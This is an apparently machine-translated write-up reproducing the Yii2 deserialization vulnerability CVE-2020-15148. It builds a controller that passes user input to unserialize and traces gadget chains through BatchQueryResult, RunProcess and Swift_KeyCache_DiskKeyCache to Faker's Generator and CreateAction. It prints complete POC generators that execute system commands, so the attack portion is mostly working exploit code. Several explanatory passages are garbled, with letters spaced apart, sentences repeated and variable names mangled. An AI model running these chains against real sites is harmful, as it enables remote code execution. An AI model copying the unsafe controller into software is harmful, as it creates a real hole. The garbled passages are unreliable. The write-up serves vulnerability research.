Yii2 deserialization vulnerability recurrence
CVE-2020-15148
Vulnerability description
Yii is a general-purpose Web programming framework that can be used to develop various Web applications built with PHP. Because of its component-based framework and well-designed caching support, it is particularly suitable for developing large-scale applications such as portals, communities, content management systems (CMS), e-commerce projects, and RESTful Web services. There is a deserialization vulnerability in Yii2 versions before 2.0.38, the CVE number is CVE-2020-15148
Environment construction
arrive github Download version 2.0.37 of yii2 on
Open /config/web.php
Add a value to cookieValidationKey on line 17, anything
It will be like this without adding
Start with php yii serve --port=xxx
The default home page is displayed, and the environment is successfully built
2.0.37 version vulnerability recurrence
Pre-knowledge
Before the vulnerability is reproduced, add some pre-knowledge points of the yii2 framework. The format of yii2 calling controllers and methods is
http://url/index.php?r=[controller]/[method]
But this is our own environment, there are no services, and there is no entry point for deserialization, so we manually add an entry ourselves
Create a new controller under the /controllers folder, write a new action method in the controller, and execute the incoming aaa variable
Pay attention to namespaces
Then call the custom method under our custom controller in the URL interface
The naming of controllers and action methods here is strictly standardized, which can be clearly seen in the figure, without further explanation.
Above we just tested whether the custom controller can work properly. If you want to write a custom deserialization entry, you still have to write it like this
<?php namespace app\controllers; use yii\web\Controller; class HahaController extends Controller{ public function actionXixi($aaa){ // return phpinfo(); return unserialize(base64_decode($aaa)); } }
Deserialization chain analysis
The vulnerability before version 2.0.38 starts from the BatchQueryResult class in **/vendor/yiisoft/yii2/db/BatchQueryResult.php
Before starting the analysis chain, let's take a look at these class attributes. These are controllable points and need to be sensitive in the subsequent analysis.
__destruct() of the BatchQueryResult class is the entry to this chain
Follow up **reset()** method
This inside tune use span _dataReader of close()square Law, here follow Enter span close()Of back also, find Do not to use of point, but yes_ Datareader yes batchqueryresult class of attribute, controllable, so we can use Law tune to use one under an indirect class of__ Call () square method
Globally searches the framework for classes with a __call() method
Among them, the Generator in Generator.php meets our requirements. The old rule is to look at the properties part first.
Generator's **__call()** method
here** m e t h o d ∗ ∗ Yes quilt tune use of That indivual no live exist of square method name , exist this in At once Yes ∗ ∗ c l o s e ∗ ∗ , ∗ ∗ method** is the name of the non-existent method being called, here it is **close**, ** method∗∗ is the name of the non-existing method being called, here it is ∗∗close∗∗, and ∗∗attributes** is the following parameter, which is empty here
Continue to follow the format() method, here call_user_func_array is very close to the goal
The two parameters of the format() method, f o r m a t t e r ∗ ∗ At once yes superior one Floor of ∗ ∗ formatter** is the upper layer** formatter∗∗ is the ∗∗method of the previous layer, which is close, a r g u m e n t s ∗ ∗ also Change to make Yes null number Group , ∗ ∗ c a l l u s e r f u n c a r r a y ∗ ∗ tune use back transfer letter number , the first one individual ginseng number do for back transfer letter number , after noodle of ∗ ∗ arguments** also becomes an empty array, **call_user_func_array** calls the callback function, the first parameter is used as the callback function, and the following ** arguments∗∗ also becomes an empty array, ∗∗calluserfunca rarray∗∗ calls the callback function, the first parameter is used as the callback function, and the following ∗∗arguments are used as the parameters of the callback function
Continue to follow up the **getFormatter()** method
here** f o r m a t t e r ∗ ∗ At once yes superior one Floor of ∗ ∗ c l o s e ∗ ∗ , and ∗ ∗ formatter** is the **close** of the previous layer, and ** formatter **** is the close **** of the upper layer, and *** this->formatters are our controllable points, that is, we can control the return value of getFormatter() method, that is, we can control the callback function, but here it should be noted that $arguments** is an empty array, that is to say, we can only construct a method without parameters here If you want to use the parameterless method RCE, you need to continue to follow the chain
Our goal is to find a parameterless method inside the yii framework, so use regular to find a method that includes calling call_user_func, the function of call_user_func is to call the first parameter as a callback function
function\s\w*\(\)\n?\s*\{(.*\n)+\s*call_user_func
The result is as follows
Although I have found a lot, there are not many that meet the requirements. The ones that meet the requirements are the run() methods in the CreateAction class and the IndexAction class. The run() methods in the two classes are exactly the same. t h i s − > c h e c k A c c e s s ∗ ∗ and ∗ ∗ this->checkAccess** and ** this−>checkAccess∗∗ and ∗∗this->id are both controllable, so RCE can be done directly
Construct the POC
Let's test it first with **phpinfo()** as a no-parameter method
<?php namespace yii\db; use Faker\Generator; class BatchQueryResult{ private $_dataReader; private $_batch; public function __construct() { $this->_dataReader = new Generator; } } namespace Faker; use yii\db\BatchQueryResult; class Generator{ protected $formatters; public function __construct() { $this->formatters['close'] = 'phpinfo'; } } $aaa = new BatchQueryResult; echo base64_encode(serialize($aaa));
success
Begin to formally construct the POC of RCE
Here we use the **run()** of the CreateAction class as the last step
<?php namespace yii\db; use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader = new Generator; } } namespace Faker; use yii\db\BatchQueryResult; use yii\rest\CreateAction; class Generator{ protected $formatters; public $sss; public function __construct() { $this->sss = new CreateAction(); //Create a CreateAction class directly $this->formatters['close'] = array($this->sss,'run'); //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function } } namespace yii\rest; use Yii; use yii\base\Model; use yii\db\BatchQueryResult; use yii\helpers\Url; use yii\web\ServerErrorHttpException; //These are all use copied from the source code, except for use yii\db\BatchQueryResult, nothing else is needed class CreateAction{ public function __construct() { $this->checkAccess = 'system'; $this->id = 'dir'; } } $aaa = new BatchQueryResult; echo base64_encode(serialize($aaa));
Deserialization succeeded
The IndexAction class used here is basically the same, and it will not be repeated.
Version 2.0.38 utilizes the RunProcess class
Version comparison
open yii github Looking at the comparison between versions 2.0.38 and 2.0.37, we can see that a **__wake() method has been added here, which directly cuts off the deserialization chain of the BatchQueryResult** class from the source
However, the **__call() method of the Generator class can still be used, so the idea is to find another class similar to the BatchQueryResult class, which contains an attribute controllable point method call point. According to this idea, we can find RunProcess** Class meets requirements
Deserialization chain analysis
**__destruct()** method of RunProcess class
Follow up **stopProcess()** method
here** p r o c e s s − > i s R u n n i n g ( ) ∗ ∗ and of forward ∗ ∗ d a t a R e a d e r ∗ ∗ of ∗ ∗ c l o s e ( ) ∗ ∗ square method very picture , and and ∗ ∗ process->isRunning()** is very similar to the **close()** method of the previous **_dataReader**, and** process−>isRunning()∗∗ is very similar to the ∗∗close()∗∗ method of the previous ∗∗d ataReader∗∗, and the ∗∗process** is controllable, and the latter part is the same as before
Construct the POC
<?php namespace Codeception\Extension; use Faker\Generator; class RunProcess{ private $processes = []; public function __construct() { $this->processes[] = new Generator; //Note that $this->processes is assigned in the form of an array } } namespace Faker; use Codeception\Extension\RunProcess; use yii\rest\CreateAction; class Generator{ protected $formatters; public $sss; public function __construct() { $this->sss = new CreateAction(); //Create a CreateAction class directly $this->formatters['isRunning'] = array($this->sss,'run'); //Here you need to modify the method name //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function } } namespace yii\rest; use Codeception\Extension\RunProcess; class CreateAction{ public function __construct() { $this->checkAccess = 'system'; $this->id = 'dir'; } } $aaa = new RunProcess; echo base64_encode(serialize($aaa));
Deserialization succeeded
Version 2.0.38 utilizes __toString()
Deserialization chain analysis
Our purpose is to bypass the BatchQueryResult class, there is also a Swift_KeyCache_DiskKeyCache class of DiskKeyCache.php that can be used
**__destruct()** method of Swift_KeyCache_DiskKeyCache class
Follow up the clearAll() method, which can be seen here t h i s − > p a t h ∗ ∗ quilt enter Row Yes Character symbol string spell catch , and ∗ ∗ this->path** is string concatenated, and ** This − >path **** is string concatenated, and **** this->path is under our control, so it is possible to call the toString() method of a class. Here $nsKey is also under our control. So it is not a problem to execute this string concatenation
Global search for the **toString()** method, the goal is to find a method that calls the method with an attribute
There are too many to use, the first one you find is the XmlBuilder class
Here **$this->_dom_ can still use the previous __call()** method
Construct the POC
<?php namespace Codeception\Util{ use Faker\Generator; class XmlBuilder{ protected $__dom__; public function __construct() { $this->__dom__ = new Generator; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public $sss; public function __construct() { $this->sss = new CreateAction(); //Create a CreateAction class directly $this->formatters['saveXML'] = array($this->sss,'run'); //call_user_func_array The method inside the calling class is to pass an array at the position of the callback function } } } namespace yii\rest{ class CreateAction{ public function __construct() { $this->checkAccess = 'system'; $this->id = 'dir'; } } } namespace{ //global namespace use Codeception\Util\XmlBuilder; class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct() { $this->path = new XmlBuilder; $this->keys = ['haha']; } } $aaa = new Swift_KeyCache_DiskKeyCache; echo base64_encode(serialize($aaa)); }
Deserialization succeeded
Similar to **__toString() to __call(), there are also See** classes, Covers classes, Deprecated classes, Generic classes... There are too many, and the use ideas are similar
There is also a FnStream class that directly transfers call_user_func, this idea is similar to the previous second half chain idea